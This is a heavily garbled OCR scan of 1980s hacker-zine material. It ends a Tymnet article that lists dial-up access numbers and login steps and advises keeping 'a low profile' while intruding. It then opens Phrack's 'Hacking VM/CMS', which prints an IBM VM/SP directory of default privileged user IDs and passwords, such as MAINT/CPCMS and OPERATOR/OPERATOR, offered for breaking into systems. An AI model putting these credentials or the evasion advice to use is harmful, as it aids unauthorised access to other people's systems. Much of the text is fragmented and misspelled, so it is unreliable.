04766 BRIDGETON/ST. LOUIS MISSOURI 300/1200 314/622-0900 @MRLK 
04766 ST. LOUIS MISSOURI 300/1200 314/622-0900 @MRLK 
06510 ADA OKLAHOMA 3000/1200 405/436-0252 @MRLK 
06510 ALTUS OKLAHOMA 300/1200 405/477-0321 @MRLK 
06510 ALVA OKLAHOMA 300/1200 405/327-1441 @MRLK 
06510 ARDMORE OKLAHOMA 300/1200 405/223-8086 @MRLK 
03167 BARTLESVILLE OKLAHOMA 300/1200 918/336-6901 @MRLK 
06510 LINTON OKLAHOMA 300/1200 405/323-8102 @MRLK 
06510 DURANT OKLAHOMA 300/1200 405/924-2680 @MRLK 
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06510 ENID OKLAHOMA 300/1200 405/242-8221 @MRL 
06510 LAWTON OKLAHOMA 3000/1200 405/248-8772 @MRL 
03167 MCALESTER OKLAHOMA 3000/1200 918/426-0900 @MRL 
03167 MIAMI OKLAHOMA 300/1200 918/540-1551 @MRL 
03167 MUSKOGEE OKLAHOMA 3000/1200 918/683-1114 @MRL 
06510 OKLAHOMA CITY OKLAHOMA 300/1200 405/236-0660 @MRL 
06510 PONCA CITY OKLAHOMA 300/1200 405/762-9926 @MRL 
03167 SALLISAW OKLAHOMA 300/1200 918/775-7713 @MRL 
06510 SHAWNEE OKLAHOMA 3000/1200 405/273-0053 @MRL 
06510 STILLWATER OKLAHOMA 300/1200 405/377-5500 @MRL 
03167 TULSA OKLAHOMA 300/1200 918/583-6606 @MRL 
06510 WOODWARD OKLAHOMA 300/1200 405/256-9947 @MRL 
@MRLK — SOUTHWESTERN BELL TELEPHONE- NETWORK NAME IS MICROLINK II(R) 
(CONNECT MESSAGE) 
(PLEASE TYPE YOUR TERMINAL IDENTIFIER) 
A _ (YOUR TERMINAL IDENTIFIER) 
WELCOME TO MICROLINK II 
—XXXX:01-030- 
PLEASE LOG IN: 
al ey eS pe ER 4 2 oe (USERNAME TO ACCESS TYMNET) 
HOST: CALL CONNECTED 
—-GWY OXXXX- TYMNET: PLEASE LOG IN: 
SOUTHERN NEW ENGLAND 
NODE CITY STATE DENSITY ACCESS NUMBERS NWRK 
02727 BRIDGEPORT CONNECTICU 300/2400 203/366-6972 @CONNN 
02727 BRISTOL CONNECTICU 300/2400 203/589-5100 @CONNN 
02727 CANAAN CONNECTICU 300/2400 203/824-5103 @CONNN 
02727 CLINTON CONNECTICU 300/2400 203/669-4243 @CONNN 
02727 DANBURY CONNECTICU 3000/2400 203/743-2906 @CONNN 
02727 DANIELSON CONNECTICU 300/2400 203/779-1880 @CONNN 
02727 HARTFORD /MIDDLETOWN CONNECTICU 3000/2400 203/724-6219 @CONNN 
02727 MERIDEN CONNECTICU 300/2400 203/237-3460 @CONNN 
02727 NEW HAVEN CONNECTICU 300/2400 203/776-1142 @CONNN 
02727 NE ,ONDON CONNECTICU 300/2400 203/443-0884 @CONNN 
02727 NEW MILFORD CONNECTICU 300/2400 203/355-0764 @CONNN 
02727 NORWALK CONNECTICU 300/2400 203/866-5305 @CONNN 
02727 OLD GREDDWICH CONNNETICU 300/2400 203/637-8872 @CONNN 
02727 OLD SAYBROOK CONNECTICU 300/2400 203/388-0778 @CONNN 
02727 SEYMOUR CONNECTICU 300/2400 203/881-1455 @CONNN 
02727 STAMFORD CONNECTICU 300/2400 203/324-9701 @CONNN 
02727 STORRS CONNECTICU 300/2400 203/429-4243 @CONNN 
02727 TORRINGTON CONNECTICU 300/2400 203/482-9849 @CONNN 
02727 WATERBURY CONNECTICU 300/2400 203/597-0064 @CONNN 
02727 WILLIMANTIC CONNECTICU 3000/2400 203/456-4552 @CONNN 
02727 WINDSOR CONNECTICU 300/2400 203/688-9330 @CONNN 
02727 WINDSOR LCKS/ENFIELD CONNECTICU 300/2400 203/623-9804 @CONNN 
@CONNNET - SOUTHERN NEW ENGLAND TELEPHONE —- NETWORK NAME IN CONNNET 
(CONNECT MESSAGE) 
As Ha eC. CRS (SYNCHRONIZES DATA SPEEDS) 


NNNNKRNNANAKANN ANN 


FARA AARP PPP eee, 
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(DOES NOT ECHO TO THE TERMINAL) 
CONNNET 
To CRE (MUST BE CAPITAL LETTERS) 
26-SEP-88 18:33 (DATA) 
031069 (ADDRESS CONFIRMATION) 
COM (CONFIRMATION OF CALL SET-UP) 


-GWY OXXXX-TYMNE 


FJ 
H 


PLEASE LOG IN: 


On a side note, the recent book The Cuckoo’s Egg provides some interesting 
information (in the form of a story, however) on a Tymnet hacker. Remember 
that he was into BIG things, and hence he was cracked down upon. If you keep a 
low profile, networks should provide a good access method. 


If you can find a system that is connected to the Internet that you can get on 
from Tymnet, you are doing well. 
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==Phrack Inc.== 


Volume Three, Issue 30, File #4 of 12 


/ \ 
| | 
| Hacking VM/CMS | 
| | 
| | 
| by Goe | 
| | 
\ / 
This file written by Goe (my nickname). Any comments or criticisms or 


corrections are welcomed. Anyone with a good knowledge can modify this. 


The article’s topic is the IBM VM/SP running CMS and using DIRMAINT. I do not 
know if it works in MVS/TSO or VSE. 


7 
al 


he first table contains the original default IDs & passwords from IBM Corp. 


The second table contains those default IDs & passwords that IBM customized for 
its customer. 


KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKK K 


x 3380 SYSTEM DIRECTORY * 


KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK 


* * 


- The addresses 123, 124, and 125 are virtual ad- . 
s dresses. The address 123 is critical since it is s 
* used in DMKSYS, the directory, and the servic n * 
x vironments of the Interactive Productivity Facil- ks 
* ity. Do not change this address. If you still want * 
* to change it, remember it must be changed in ts 
* DMKSYS, all service environments, the ’DIRECTORY’ * 
id statement below, and in the ’MDISK’ statements * 
x found under the userid ‘’/MAINT’. x 
* * 
* * 
* * 
* * 
* * 
* * 
* * 
* * 


NOTE: Remember these are only virtual addresses 

not real addresses, so there is no need to change 
them to match your hardware addresses. More in- 

formation is contained in the system Installation 
Guide. 


KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKK KKK K 


DIRECTORY 123 3380 VMSRES 


* 


KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKK KKK K 


“ 3380 SYSTEM RESERVED AREAS (NOT FOR MINIDISKS) nd 


KKEKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK 


* 


USER SALLOCS NOLOG 

MDISK AO1 3380 000 001 VMSR 
MDISK BO1 3380 000 001 VMPKO1 
MDISK E01 3380 000 001 VMPK 
i 
i 


DISK F11 3380 000 001 PROFPK 
DISK F21 3380 000 001 SQLPK 


fo) 
us 
DAD a 


USER STEMPS NOLOG 
MDISK AO9 3380 272 228 VMSRES R 
MDISK DO9 3380 277 258 VMPKO1 


USER S$TDISKS NOLOG 
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DISK A08 3380 585 091 VMS 
ER $CPNUC$ NOLOG 


DISK A02 3380 001 005 


USER SDIRECTS NOLOG 


DISK A03 3380 500 002 


ER SSAVSYSS NOLOG 
DISK A04 3380 006 
DISK B04 3380 012 


O11 
056 


USER SSYSERRS$ NOLOG 
DISK A06 3380 019 


002 


ER SSYSCKPS NOLOG 


DISK A05 3380 271 O01 


ER SSYSWRMS NOLOG 
DISK AO7 3380 017 002 VMS 


* 


KKKKKKKKKKKKKKKKKKKKKKKKKKK 
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RES R 


fi 


wn 


RES R 


KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK 


S SYSTEM RELAT 


G 


* 


KKKKKKKKKKKKKKKKKKKKKKKKKKK 


* 


U 


ER AUTO 
CCOUNT 


LOG1 NOLOG 512K 1M 
2 SYSTEM 

PL CMS PARM AUTOCR 

ONSOLE 009 3215 
POOL 00C 2540 R 
POOL OOD 2540 P 
SPOOL OOE 1403 A 
LINK MAINT 190 190 
LINK MAINT 19D 19D 
LINK MAINT 19E 19E 
MDISK 191 3380 093 


EAD 
UNC 


iR 


iS) 
A 
I 
Cc 
iS) 
iS) 


RR 
RR 
RR 
001 


+ 


a 


ZPGAENnnnaQqnHOoORN 


a 


R CMSBATCH NOLOG 
COUNT 3 SYSTEM 

TION ACCT 
L CMS PARM AUTOCR 
NSOLE 009 3215 
POOL 00C 2540 R 
POOL OOD 2540 P 
POOL OOE 1403 A 

INK MAINT 190 190 
DISK 195 3380 068 


1M 2M G 


OouvruvAa 


EADE 
UNC 


RR 


+ 


iG 


ANNAHPNH 


ER CMSUSER NOLOG 1M 3M G 
CCOUNT 101 USERO1 

PL CMS 

ONSOLE 009 3215 
POOL 00C 2540 R 
POOL OOD 2540 P 
POOL OOE 1403 A 
LINK MAINT 190 190 
LINK MAINT 19D 19D 
LINK MAINT 19E 19E 
DIS 


EADE 
UNC 


RR 


+ 


q 


EP NOLOG 768K 2M FG 
EREP IBMCE 


O1F 3215 
L 00C 2540 R 
L 00D 2540 P 
POOL OOE 1403 A 
INK MAINT 190 190 


EAD 
UNC 


ER * 
HA 


RR 


iD US 


002 VMPKO1 MR RBATCH 


191 3380 089 003 VMPKO1 MR RCMS 


ERIDS 


KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK 


ABC 


im 
ry 


G 


VMPKO1 MR RAUTOLOG WAUTOLOG MAUTOLOG 


WBATCH MBATCH 


WCMS MCMS 


4 


* 


a 


NNONnNAHOPN 


* 


a 


* 


U 
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MDISK 191 


ER GCS 


LINK MAINT 19D 
LINK MAINT 195 
LINK MAINT 201 
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19D 
19E 


3380 


NOLOG 
CCOUNT GCS RE 


TION ECMODE 


oul 


POOL 00C 
POOL 00D 
POOL OOE 


2540 
2540 
1403 


LINK MAINT 190 
LINK MAINT 19D 
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MDISK 191 3380 514 005 VMPKO1 MR RGCS WGCS MGCS 03131808 


* 


USER IVPM1 IVPM1 3M 16M G 
CCOUNT ACT4 IVPM1 

ONSOLE 009 3210 
POOL 00C 2540 READER * 
POOL OOD 2540 PUNCH A 
POOL OOE 1403 A 
LINK MAINT 190 190 RR 
LINK MAINT 193 193 RR 
LINK MAINT 194 194 RR 
LINK MAINT 19D 19D RR 


NNNAPrN 


MDISK 191 3380 868 001 VMSRES WR READ WRITE 03131808 
* 
USER IVPM2 IVPM2 3M 4M G 

ACCOUNT ACT5 IVPM2 

CONSOLE 009 3210 

SPOOL 00C 2540 READER * 

SPOOL 00D 2540 PUNCH A 

SPOOL 00E 1403 A 

LINK MAINT 190 190 RR 

LINK MAINT 193 193 RR 

LINK MAINT 194 194 RR 

LINK MAINT 19D 19D RR 

MDISK 191 3380 869 001 VMSRES WR READ WRITE 03131808 
* 
USER MAINT CPCMS 6M 16M ABCDEFG 

ACCOUNT 1 SYSPROG 

OPTION ECMODE DIAG98 

IPL CMS 

IUCV *CCS P M 10 

IUCV ANY P M 0 

CONSOLE 009 3215 

SPOOL 00C 2540 READER * 

SPOOL 00D 2540 PUNCH A 

SPOOL 00E 1403 A 

* 

MDISK 123 3380 000 885 VMSRES MW RSYSRES WSYSRES MSYSRES 03131808 
MDISK 124 3380 000 885 VMPKO1 MW RSYSRES WSYSRES MSYSRES 03131808 
MDISK 126 3380 000 885 VMSTGE MW RSYSRES WSYSRES MSYSRES 03131808 
MDISK 127 3380 000 885 VMGCS1 MW RSYSRES WSYSRES MSYSRES 03131808 
MDISK 129 3380 000 885 PROFPK MW RSYSRES WSYSRES MSYSRES 03131808 
MDISK 130 3380 000 885 SQLPK MW RSYSRES WSYSRES MSYSRES 03131808 
MDISK 131 3380 000 885 VMPKO2 MW RSYSRES WSYSRES MSYSRES 03131808 
* 

* 19D - Help files 

* 39D - Help files for NLS 

* 19F — CMS extension disk. Most program products go here 
* 190 - CMS nucleus and commands 

* 191 — MAINT work disk and system dependent files 
* 193 - CMS text / IPCS text / GCS interface texts 

* 194 —- CP text files and Maclibs 
* 196 —- HPO text files and Maclibs 
* 201 -— EREP files 
* 293 - Aux and update files for CMS service 

* 294 —- Aux and update files for CP service 

* 295 - CP/CMS EXPRESS/local service 

* 296 — HPO aux and update files for service 
* 3A0 - IPF online documentation 
* 300 - VM/IPF system support, administration and operation dialogs 
* 301 - IPF VM/VSE feature files 
* 31A - Customer procedures and products not from VM/EXPRESS 
* 310 - Maclibs for VM/IPF 
* 319 - Some optional Program Products 
* 393 - CMS source 
* 394 -— CP SOURCE 
* 396 -—- HPO source 
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* 342 - 5664-289 ACF/SSP Zap disk 

* 343 — 5664-289 ACF/SSP Run disk 

* 

MDISK 33F 3380 687 048 VMGCS1 MR RMAINT WMAINT MMAINT 03131808 
MDISK 340 3380 830 010 VMGCS1 MR RMAINT WMAINT MMAINT 03131808 
MDISK 341 3380 840 020 VMGCS1 MR RMAINT WMAINT MMAINT 03131808 
MDISK 342 3380 249 010 VMGCS1 WR RMAINT WMAINT MMAINT 03131808 
MDISK 343 3380 110 046 VMGCS1 MR RMAINT WMAINT MMAINT 03131808 
* 

* 352 — 5735-XXB (EP) - 5668-854 (ACF/NCP) Base disk 

* 353 - 5735-XXB (EP) - 5668-854 (ACF/NCP) Delta disk 

* 354 - 5735-XXB (EP) - 5668-854 (ACF/NCP) Merge disk 

* 355 - 5735-XXB (EP) - 5668-854 (ACF/NCP) Run disk 

* 356 — 5735-XXB (EP) — 5668-854 (ACF/NCP) Zap disk 

* 

MDISK 352 3380 259 066 VMGCS1 WR RMAINT WMAINT MMAINT 03131808 
MDISK 353 3380 325 010 VMGCS1 WR RMAINT WMAINT MMAINT 03131808 
MDISK 354 3380 335 020 VMGCS1 WR RMAINT WMAINT MMAINT 03131808 
MDISK 355 3380 355 088 VMGCS1 WR RMAINT WMAINT MMAINT 03131808 
MDISK 356 3380 443 010 VMGCS1 WR RMAINT WMAINT MMAINT 03131808 
* 

* 349 - 5735-XXB (EP) - 5668-754 (ACF/NCP subset for 3720) VMFPARM DISK 

* 357 -— 5735-XXB (EP) - 5668-754 (ACF/NCP subset for 3720) Base disk 

* 358 - 5735-XXB (EP) - 5668-754 (ACF/NCP subset for 3720) Delta disk 

* 359 - 5735-XXB (EP) - 5668-754 (ACF/NCP subset for 3720) Merge disk 

* 35A - 5735-XXB (EP) -— 5668-754 (ACF/NCP subset for 3720) Zap disk 

* 35B - 5735-XXB (EP) - 5668-754 (ACF/NCP subset for 3720) Run disk 

* 

MDISK 349 3380 003 002 VMGCS1 MR RMAINT WMAINT MMAINT 03131808 
MDISK 357 3380 453 066 VMGCS1 WR RMAINT WMAINT MMAINT 03131808 
MDISK 358 3380 519 010 VMGCS1 WR RMAINT WMAINT MMAINT 03131808 
MDISK 359 3380 529 020 VMGCS1 WR RMAINT WMAINT MMAINT 03131808 
MDISK 35A 3380 637 010 VMGCS1 WR RMAINT WMAINT MMAINT 03131808 
MDISK 35B 3380 549 088 VMGCS1 WR RMAINT WMAINT MMAINT 03131808 
* 

* 330 - 5664-204 NETVIEW Base disk 

* 331 - 5664-204 NETVIEW Delta disk 

* 332 - 5664-204 NETVIEW Merge disk 

* 333 —- 5664-204 NETVIEW Zap disk 

* 334 —- 5664-204 NETVIEW Run disk 

* 

MDISK 330 3380 735 095 VMGCS1 WR RMAINT WMAINT MMAINT 03131808 
MDISK 331 3380 647 010 VMGCS1 WR RMAINT WMAINT MMAINT 03131808 
MDISK 332 3380 657 020 VMGCS1 WR RMAINT WMAINT MMAINT 03131808 
MDISK 333 3380 677 010 VMGCS1 WR RMAINT WMAINT MMAINT 03131808 
MDISK 334 3380 014 096 VMGCS1 WR RMAINT WMAINT MMAINT 03131808 
* 

* 29F — 5664-188 RSCSV2 Update files 

* 39F — 5664-188 RSCSV2 User exits disk 

* 49F — 5664-188 RSCSV2 Text disk 

* 59F — 5664-188 RSCSV2 191 disk 

* 

MDISK 29F 3380 129 004 VMPKO1 MR RMAINT WMAINT MMAINT 03131808 
MDISK 39F 3380 799 004 VMPKO1 MR RMAINT WMAINT MMAINT 03131808 
MDISK 49F 3380 803 010 VMPKO1 MR RMAINT WMAINT MMAINT 03131808 
MDISK 59F 3380 208 006 VMPKO1 MR RMAINT WMAINT MMAINT 03131808 
* 

* 322 — 5664-283 VM/IS 

* 326 — 5664-283 VM/IS 

* 34A — 5668-905 Graphical Display and Query Facility (GDQOF) 

* 346 — 5668-AAA Query Management Facility (QMF) 

* 347 — 5668-AAA Query Management Facility (QMF) 

* 360 — 5664-329 Contextual File Search (CFSearch/370) 

* 361 - 5664-370 Display Write/370 

* 363 - 5668-890 Font Library Service Facility (FLSF) 

* 

MDISK 322 3380 734 007 VMPKO1 MR RMAINT WMAINT MMAINT 03131808 
MDISK 326 3380 166 010 VMPKO1 MR RMAINT WMAINT MMAINT 03131808 
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MDISK 34A 3380 164 052 VMSRES MR RMAINT WMAINT MMAINT 
MDISK 346 3380 207 013 SQLPK MR RMAINT WMAINT MMAINT 
MDISK 347 3380 220 023 SQLPK MR RMAINT WMAINT MMAINT 
MDISK 360 3380 216 040 VMSRES MR RMAINT WMAINT MMAINT 
MDISK 361 3380 768 027 VMSRES MR RMAINT WMAINT MMAINT 
MDISK 363 3380 795 009 VMSRES MR RMAINT WMAINT MMAINT 
* 
USER OPERATNS OPERATNS 1M 2M BCEG 

INCLUDE EXPPROF 

ACCOUNT 13 SYSPROG 

LINK MAINT 300 300 RR 

LINK MAINT 193 192 RR 

MDISK 191 3380 547 001 VMSRES MR RIPCS WIPCS MIPCS 
MDISK 193 3380 256 008 VMSRES MR RIPCS WIPCS MIPCS 
* 
USER OPERATOR OPERATOR 3M 16M ABCDEFG 

ACCOUNT 2 OPERATOR 

IPL CMS PARM AUTOCR 

CONSOLE 009 3215 T MAINT 

SPOOL 00C 2540 READER * 

SPOOL 00D 2540 PUNCH A 

SPOOL 00E 1403 A 

LINK MAINT 190 190 RR 

LINK MAINT 19D 19D RR 

LINK MAINT 19E 19E RR 

LINK MAINT 300 300 RR 

MDISK 191 3380 545 002 VMSRES MR ROPER WOPER MOPER 
* 
USER SYSDUMP1 SYSDUMP1 1M 1M BG 
INCLUDE EXPPROF 

ACCOUNT 16 SYSTEM 

LINK MAINT 300 300 RR 

MDISK 123 3380 000 885 VMSRES RR 

MDISK 124 3380 000 885 VMPKO1 RR 

MDISK 126 3380 000 885 VMSTGE RR 

MDISK 127 3380 000 885 VMGCS1 RR 

MDISK 129 3380 000 885 PROFPK RR 

MDISK 130 3380 000 885 SQLPK RR 

MDISK 131 3380 000 885 VMPKO2 RR 

MDISK 191 3380 133 001 VMPKO1 MR RSYSDUMP WSYSDUMP MSYSDUMP 
* 
USER TSAFVM TSAFVM 4M 8M G 

ACCOUNT 1 XXXXXX 

OPTION MAXCONN 256 BMX ECMODE COMSRV ACCT CONCEAL REALTIMER 
IUCV ALLOW 

IUCV *CRM 

IPL CMS PARM AUTOCR 

CONSOLE 009 3215 A OPERATOR 

SPOOL 00C 2540 READER * 

SPOOL 00D 2540 PUNCH A 

SPOOL 00E 1403 A 

LINK MAINT 190 190 RR 

LINK MAINT 19D 19D RR 

LINK MAINT 19E 19E RR 

LINK MAINT 492 192 RR 

LINK MAINT 494 494 RR 


VSEMAINT VS 


EXP 


PROE 


DEDICATE 300 4A0 
MDISK 191 3380 206 002 VMPKO1 MR 


EMAINT 1M 4M BG 


ACCOUNT 


MAI 


DISK 19 


VSEI 


211 DOSSYS 
NT 300 300 


MAINT 301 301 


1 3380 632 
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RR 
RR 
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2 SYS 
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SYSTEM 
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TEM 
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SYSTEM 
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SYSTEM 
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ES 
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MDISK 200 3380 000 885 SYSWKA MR VS 


12 


E219 VSEAWO 


USER ROUTER ROUTER 512K 2M G 64 ON ON ON ON 

INCLUDE EXPPROF 

ACCOUNT 46 ROUTER 

MDISK 191 3380 636 003 VMSRES MR RROUTER WROUTER MROUTER 
* 
USER AP2SVP AP2SVP 512K 8M EG 64 ON ON ON ON 

* 

* 5668899 APL2 SERVICE MACHINE 

* 

INCLUDE EXPPROF 

ACCOUNT 9999 APL2-SVP 

MDISK 191 3380 731 003 VMPKO1 MR RAP2SVP WAP2SVP MAP2SVP 
* 
USER APL2PP APL2PP 3M 16M BEG 64 ON ON ON ON 

* 

* 5668899 APL2 

* 

INCLUDE EXPPROF 

ACCOUNT 9999 15668899 

MDISK 191 3380 264 044 VMSRES MR ALL WAPL2PP 

* 
USER VMASSYS VMASSYS 16M 16M EG 64 ON ON ON ON 

* 

* 5767032 AS 

* 

INCLUDE EXPPROF 

ACCOUNT 15 SYSTEM 

LINK ISPVM 192 192 RR 

LINK SQLDBA 195 195 RR 

MDISK 191 3380 569 018 VMPKO1 MR RVMASSYS WVMASSYS INSTALL 
MDISK 391 3380 587 095 VMPKO1 MR RVMASSYS WVMASSYS SYSTEM 
MDISK 392 3380 682 005 VMPKO1 MR RVMASSYS WVMASSYS TES 
MDISK 393 3380 687 026 VMPKO1 MR RVMASSYS WVMASSYS IPCS 

* 
USER VMASMON VMASMON 2M 2M G 64 ON ON ON ON 


* 


* 5767032 AS 


* 


INCLUDE EXPPROF 

ACCOUNT 15 SYSTEM 
OPTION MAXCONN 20 

IUCV ALLOW 

INK VMASSYS 191 390 RR 
INK VMASSYS 391 391 RR 


MDISK 191 3380 567 002 VMPKO1 


SER VMASTEST VMASTEST 2M 2M G 


5767032 AS 


* 
U 
* 
* 
* 
I 


NCLUDE EXPPROF 

ACCOUNT 15 SYSTEM 

LINK VMASSYS 391 391 RR 

LINK VMASSYS 392 392 RR 
MDISK 191 3380 713 018 VMPKO1 


* 


USER BA 


* 


* 5664364 VM BATCH FACILITY 

* 

INCLUDE EXPPROF 

ACCOUNT 999 

IUCV ALLOW 

OPTION BMX MAXCONN 256 

MDISK 191 3380 741 003 VMPKO1 
MDISK 193 3380 744 020 VMPKO1 


CH BATCH 2M 2M ABEG 64 


MR 


64 


MR 


ON 


MR 
MR 


RVMASMON WVMASMON MVMASMON 


ON ON 


RVMAST!I 


ON ON 


RVMBAT 


ON ON 


ON 


[TCH WVMBAT 


RVMBAT 


[TCH WVMBAT 


ES WVMAST! 


[TCH MVMBAT 
[TCH MVMBAT 


ES MVMAST! 


El 
n 


TCH 
[TCH 


03131808 


03131808 


03131808 


03131808 
03131808 
03131808 
03131808 


03131808 


03131808 


03131808 
03131808 
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MDISK 194 3380 764 003 VMPKO1 MR RVMBATCH WVMBATCH MVMBATCH 
MDISK 199 3380 767 002 VMPKO1 RR RVMBATCH WVMBATCH MVMBATCH 
MDISK 195 3380 769 002 VMPKO1 MR RVMBATCH WVMBATCH MVMBATCH 
* 
USER BATCH1 BATCH1 2M 4M G 64 ON ON ON ON 

* 

* 5664364 VM BATCH FACILITY TEST USERID 

* 

INCLUDE EXPPROF 

ACCOUNT 999 

MDISK 191 3380 771 005 VMPKO1 MR RVMBATCH WVMBATCH MVMBATCH 
* 
USER BATCH2 BATCH2 2M 4M G 64 ON ON ON ON 

* 

* 5664364 VM BATCH FACILITY TEST USERID 

* 

INCLUDE EXPPROF 

ACCOUNT 999 

MDISK 191 3380 776 005 VMPKO1 MR RVMBATCH WVMBATCH MVMBATCH 
* 

* USER CSPUSER CSPUSER 2M 4M G 64 ON ON ON ON 

* 

* 5668814 CSP 

* 

* INCLUDE EXPPROE 

* ACCOUNT 101 

* MDISK 191 3380 134 032 VMPKO1 MR RCSPUSER WCSPUSER MCSPUSE 
* MDISK 193 3380 519 008 VMPKO1 MR RCSPUSER WCSPUSER MCSPUSE 
* MDISK 502 3380 527 020 VMPKO1 MR RCSPUSER WCSPUSER MCSPUSE 
* MDISK 503 3380 547 020 VMPKO1 MR RCSPUSER WCSPUSER MCSPUSE 
* 
USER CVIEW CVIEW 2M 2M G 64 ON ON ON ON 

* 

* 5664296 CVIEW 

* 

INCLUDE EXPPROF 

ACCOUNT 15 SYSTEM 

OPTION BMX 

LINK MAINT 193 193 RR 

MDISK 191 3380 732 004 VMSRES MR RCVIEW WCVIEW 

* 
USER DIRMAINT DIRMAINT 1M 2M BG 64 ON ON ON ON 

* 

* 5748XE4 DIRMAINT 

* 

INCLUDE EXPPROE 

ACCOUNT 7 SYSADMIN 

OPTION REALTIME ECMODE 

MDISK 191 3380 191 004 VMPKO1 MR RDIRMAIN WDIRMAIN MDIRMAIN 
MDISK 193 3380 001 009 VMPKO1 MR RDIRMAIN WDIRMAIN MDIRMAIN 
MDISK 195 3380 049 009 VMSRES MR RDIRMAIN WDIRMAIN MDIRMAIN 
MDISK 294 3380 844 004 VMPKO1 MR RDIRMAIN WDIRMAIN MDIRMAIN 
MDISK 394 3380 226 019 VMSTGE MR RDIRMAIN WDIRMAIN MDIRMAIN 
MDISK 123 3380 000 885 VMSRES MW 

* 
USER DATAMOVE DATAMOVE 1M 1M G 64 ON ON ON ON 

* 

* 5748XE4 DATAMOVE MACHINE 

* 

INCLUDE EXPPROF 

ACCOUNT 5 SYSADMIN 

OPTION ACCT ECMODE 

LINK DIRMAINT 191 193 RR 

LINK MAINT 193 192 RR 

MDISK 191 3380 178 003 VMPKO1 MR RDATAMOV WDATAMOV MDATAMOV 
* 
USER FSFCNTRL FSFCNTRL 2M 16M ABG 64 ON ON ON ON 
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* 5798DMY FILE STORAGE CONTROL MACHIN 
* 


INCLUDE EXPPROE 
ACCOUNT 999 


GJ 


OPTION ECMODE BMX MAXCONN 256 

IUCV ALLOW PRIORITY MSGLIMIT 255 

LINK FSFADMIN 192 198 RR 

MDISK 191 3380 143 007 VMPKO2 MR RFSFCNTR WFSFCNTR MFSFCN 
MDISK 192 3380 141 002 VMPKO2 MR RFSFCNTR WFSFCNTR MFSFCNT 
MDISK 193 3380 150 002 VMPKO2 MR RFSFCNTR WFSFCNTR MFSFCN 
MDISK 194 3380 152 001 VMPKO2 MR RFSFCNTR WFSFCNTR MFSFCNT 
MDISK 195 3380 153 001 VMPKO2 MR RFSFCNTR WFSFCNTR MFSFCNT 
MDISK 197 3380 154 001 VMPKO2 MR RFSFCNTR WFSFCNTR MFSFCN 
MDISK 200 3380 155 005 VMPKO2 MR RFSFCNTR WFSFCNTR MFSFCNT 
MDISK 201 3380 160 005 VMPKO2 MR RFSFCNTR WFSFCNTR MFSFCN 
MDISK 400 3380 165 005 VMPKO2 MR RFSFCNTR WFSFCNTR MFSFCNT 
MDISK 401 3380 170 005 VMPKO2 MR RFSFCNTR WFSFCNTR MFSFCN 
* 
USER FSFTASK1 FSFTASK1 1M 1M G 64 ON ON ON ON 


* 


* 5798DMY FILE STORAGE TASK MACHIN 
* 
INCLUDE EXPPROF 

ACCOUNT 999 

OPTION BMX MAXCONN 2 

IUCV ALLOW PRIORITY MSGLIMIT 255 
LINK FSFCNTRL 191 191 RR 


Gl 


* 


USER FSFTASK2 FSFTASK2 1M 1M G 64 ON ON ON ON 


* 


* 5798DMY FILE STORAGE TASK MACHIN 
* 
INCLUDE EXPPROF 
ACCOUNT 999 
OPTION BMX MAXCONN 2 

IUCV ALLOW PRIORITY MSGLIMIT 255 
LINK FSFCNTRL 191 191 RR 


Gl 


* 


USER FSFADMIN FSFADMIN 1M 1M G 64 ON ON ON ON 


* 


* 5798DMY FILE STORAGE ADMINISTRATOR 
* 
INCLUDE EXPPROF 
ACCOUNT 999 
OPTION BMX MAXCONN 2 

IUCV ALLOW PRIORITY MSGLIMIT 255 
LINK MAINT 319 319 RR 
M 


* 


USER IIPS IIPS 2M 4M G 64 ON ON ON ON 


* 


* 5668012 IIPS 
* 

INCLUDE EXPPROE 

ACCOUNT 8 INSTR 

MDISK 191 3380 736 013 VMSR 
MDISK 193 3380 749 019 VMSR 


MR RIIPS 
MR RIIPS 


WIIPS 
WIIPS 


ES 
ES 
* 


USER ADMIN ADMIN 1664K 16M ABCDEFG 64 ON ON ON ON 


* 


* 5664318 VM/IPF 

* 

INCLUDE EXPPROF 

LINK MAINT 300 300 RR 

MDISK 191 3380 781 001 VMPKO1 MR RADMIN 


WADMIN 


* 


USER DISKACNT DISKACNT 512K 2M G 64 ON ON ON ON 


* 


MIIPS 
MIIPS 


MADMIN 


DADWDH WWD WD 


DISK 192 3380 175 003 VMPKO2 MR RFSFADMI WFSFADMI MFSFADMI 
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* 5664318 VM/IPF 


* 


INCLUDE EXPPROE 
OPTION ECMODE 


LINK MAINT 300 300 RR 
MDISK 191 3380 010 002 VMPKO1 MR 


* 


USER CPRM CPRM 512K 1M G 64 ON ON 


* 


* 5664318 VM/IPF 


* 


INCLUDE EXPPROE 


LINK OPERATNS 193 193 RR 


MDISK 191 3380 
MDISK 192 3380 
MDISK 291 3380 


* 


USER OP1 OP1 1M 


* 


783 
098 
784 


13M 


* 5664318 VM/IPF 


* 


INCLUDE EXPPROE 


001 VMPKO1 MR 
007 VMSRES MR 
001 VMPKO1 MR 


ABCDEFG 64 ON 


LINK MAINT 300 300 RR 
MDISK 191 3380 058 001 VMSRES MR 


* 


USER VMUTIL VMUTIL 512K 2M ABD 


* 


* 5664318 VM/IPF 


CLUDE EXPPROE 


PTION ECMODE 


DPD 

D 

INK MAINT 300 300 RR 

DISK 191 3380 059 001 VMSR 


USER IPFSERV IPFSI! 


* 5664318 VM/IPF 


* 


IPL CMS 


CONSOLE 009 3215 T MAINT 
SPOOL 00C 2540 READER * 
SPOOL 00D 2540 PUNCH A 
SPOOL 00E 1403 A 

LINK MAINT 123 123 MW 
LINK MAINT 190 190 RR 
LINK MAINT 191 192 RR 
LINK MAINT 193 193 RR 
LINK MAINT 194 194 RR 
LINK MAINT 19D 19D RR 
LINK MAINT 19E 19E RR 
LINK MAINT 294 294 RR 
LINK MAINT 295 295 RR 
LINK MAINT 300 300 RR 
MDISK 191 3380 060 00 

* 

USER ISPVM ISPVM 1M 10M 


* 


* 5664282 ISPF 


* 


INCLUDE EXPPROE 


ACCOUNT 104 US 


MDISK 191 3380 
MDISK 192 3380 


